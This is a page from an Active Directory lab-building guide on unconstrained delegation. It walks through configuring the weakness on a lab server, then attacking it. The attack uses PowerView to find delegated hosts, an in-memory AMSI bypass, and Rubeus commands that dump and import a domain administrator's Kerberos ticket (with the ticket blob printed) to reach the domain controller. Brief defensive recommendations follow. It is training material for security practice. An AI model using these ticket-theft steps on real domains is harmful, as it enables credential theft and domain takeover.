> For the complete documentation index, see [llms.txt](https://ad-lab.gitbook.io/building-a-windows-ad-lab/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/unconstrained-delegation.md).

# Unconstrained Delegation

## Configuring

### Prerequisite

This section requires the SPN set during the Constrained Delegation setup on `FILE01`.

{% content-ref url="/pages/qzuKKoCtiCPNgZIWwOjK" %}
[Constrained Delegation](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/page-3.md)
{% endcontent-ref %}

### Configuring

1. Login on `DC02` with the username `Administrator` and password `Welcome01!`.
2. Open the "Active Directory Users and Computers" administration tool.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FARFgtX3aAlYbvm4kNpyC%2Fimage.png?alt=media&amp;token=aa8c76ce-e21a-4f14-8891-a81894a930c5" alt=""></div>

3\. Open the "Computers" directory and right click the `FILE01` server and select "Properties".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FMJtzKLcySGu7IliVZTnT%2Fimage.png?alt=media&amp;token=c287a14e-8461-483b-84aa-62869f8c17e1" alt=""></div>

4\. Open the "Delegation" tab and select "Trust this computer for delegation to any service (Kerberos only)".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FilsD33eILP62dxwFRjAR%2Fimage.png?alt=media&amp;token=68b19257-c7fb-4999-ae42-a5f016c0f7d6" alt=""></div>

5\. Click on "Apply" and "OK".

## Attacking

### How it works

If a system has unconstrained delegation configured it saves kerberos tickets of users in the LSASS so it can be used to authenticate to other services. An attacker could extract these saved tickets and use them against any other service.

Example: We have a webserver and webapplication that authenticates to a database too change some entries on behalf of the user. To do this kerberos unconstrained delegation is configured on the webserver.

### Tools

* [Rubeus](https://github.com/GhostPack/Rubeus)

### Executing the attack

The attack will start from the perspective of already owning the `FILE01` server from the constrained delegation abuse.

{% content-ref url="/pages/qzuKKoCtiCPNgZIWwOjK" %}
[Constrained Delegation](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/page-3.md)
{% endcontent-ref %}

1. Login to `WS01` as Richard with the password `Sample123`.
2. Start PowerShell and download and execute an amsi and PowerView in memory:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FcITiBLCKX5jVMOEeE5pU%2Fimage.png?alt=media&amp;token=834186bd-8fcc-4c0e-8645-3198ee2528ab" alt=""></div>

3\. Execute the following PowerView Query to retrieve all domain computers which have unconstrained delegation and only print the samaccountnames:

```
 Get-DomainComputer -UnConstrained | select samaccountname
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FXlghkMYUhUIcyQpzKjzj%2Fimage.png?alt=media&amp;token=00236a82-f3a7-4d64-8f1b-8ebe0bb2b37a" alt=""></div>

4\. There are two systems with unconstrained delegation. One which is the domain controller, which always had unconstrained delegation. The other is `FILE01`. Since we got access to this system we can check if there are any tickets onto the system with Rubeus.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F90ZaDc3UIoUSTdpIAOwB%2Fimage.png?alt=media&amp;token=f10db42c-d61e-4240-ae1f-305ae4383d62" alt=""></div>

{% hint style="info" %}
To simulate that unconstrained delegation is configured with a purpose we need to login to the FILE01 server as the administrator user. This will make sure that there are TGT tickets on the system available.
{% endhint %}

5\. There is a TGT ticket from the domain administrator, we can dump this using the following Rubeus command.

```
./Rubeus.exe dump /luid:0x85e21db /service:krbtgt nowrap
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F6DlyOWd8PHteFraiXwcf%2Fimage.png?alt=media\&token=a0b0039d-b4bc-4694-97c5-afca42afdb5c)

6\. Then on `WS01` we can import this ticket with the following Rubeus command:

```
.\Rubeus.exe ptt /ticket:doIGJjCCBiKgAwIBBaEDAgEWooIFDDCCBQhhggUEMIIFAKADAgEFoRYbFEFNU1RFUkRBTS5CQU5LLkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRBTVNURVJEQU0uQkFOSy5MT0NBTKOCBLQwggSwoAMCARKhAwIBAqKCBKIEggSeLvYfqx+JLe3OpL+cLMBjcj0PsyRXSFqcB7nrBmlzK+vT8JWlhbwTUbc/gDr+cFJlEdYgCJt3pOISNYTPvohuPlTSipedBch/6Bq2sdN4BtSqFOB5wYjrjgVlRcpN0PF9FgaLwlhLzDz8lncF7zy4CW7Qr39QDrBZ/5EMMDR/zSOgw2nFGALAnRxEr8dAIpvxr7vYmB8oTBtl9bpLlR07EsrP2v5tFZrVCfMbLJArvIjX7TgcADivfT0bLfYt1BoZk0XC34mqCZjxChOHnhYwrAinpAhjs3c6um7h422ubj0q4ul0aWAsLMtNoEwSeXztP2Vng9Kg89bPCYTo+DXVciDpEthI5ZZIliT/tss+B5aH//cF7sVcmHXAK8QpGUwXvpSVUtadk95GOaRwNIZcw3BLev1B9+DIecHRLLeP6J3ApRrPdne8Ag69AXxV8dwLoQx1WMoSlOM4o5Nfq57YfigeTId2meIsba8ATtrK0znmwkzHUW3xK8ADhuaqVKzJHxg9Mwt2zCt6mrG2mFsmdc0u8llZdhSPGpkh2OPh2/47qc06qe7HIa3RaxZsiJ1O8Uu+w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mnkmkTuPvjuV1mJ7r9azaEWGxRBTVNURVJEQU0uQkFOSy5MT0NBTKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEDhAAClERgPMjAyMjA2MjkxNjMxMzBaphEYDzIwMjIwNjMwMDIzMTMwWqcRGA8yMDIyMDcwNjE2MzEzMFqoFhsUQU1TVEVSREFNLkJBTksuTE9DQUypKTAnoAMCAQKhIDAeGwZrcmJ0Z3QbFEFNU1RFUkRBTS5CQU5LLkxPQ0FM
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fox9rqOdAiqAup6evqe8I%2Fimage.png?alt=media\&token=9bc7f084-e21a-4343-93da-6829124e77b7)

7\. After importing the ticket we can simply create a pssession to the DC or execute a DC sync attack.

```
Enter-PSSeession dc02.amsterdam.bank.local
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FrayPtar2NrTREgd4Lz93%2Fimage.png?alt=media&amp;token=c3d53f80-f433-4fa4-b6b1-4931233b9292" alt=""></div>

## Defending

### Recommendations

* Tightly secure and monitor the user of AD objects with delegation set.
  * Set strong passwords and rotate them periodically.
  * Limit logons to systems.
  * Harden the systems these accounts are used.
* Add the flag "this account is sensitive and cannot be delegated"
* Add all high privileged accounts to the protected users group.

{% content-ref url="/pages/iMFADnHkMGydBbaHUAgT" %}
[Protected users group](/building-a-windows-ad-lab/defence/hardening/protected-users-group.md)
{% endcontent-ref %}

### Detection

## References

{% embed url="<https://github.com/GhostPack/Rubeus>" %}
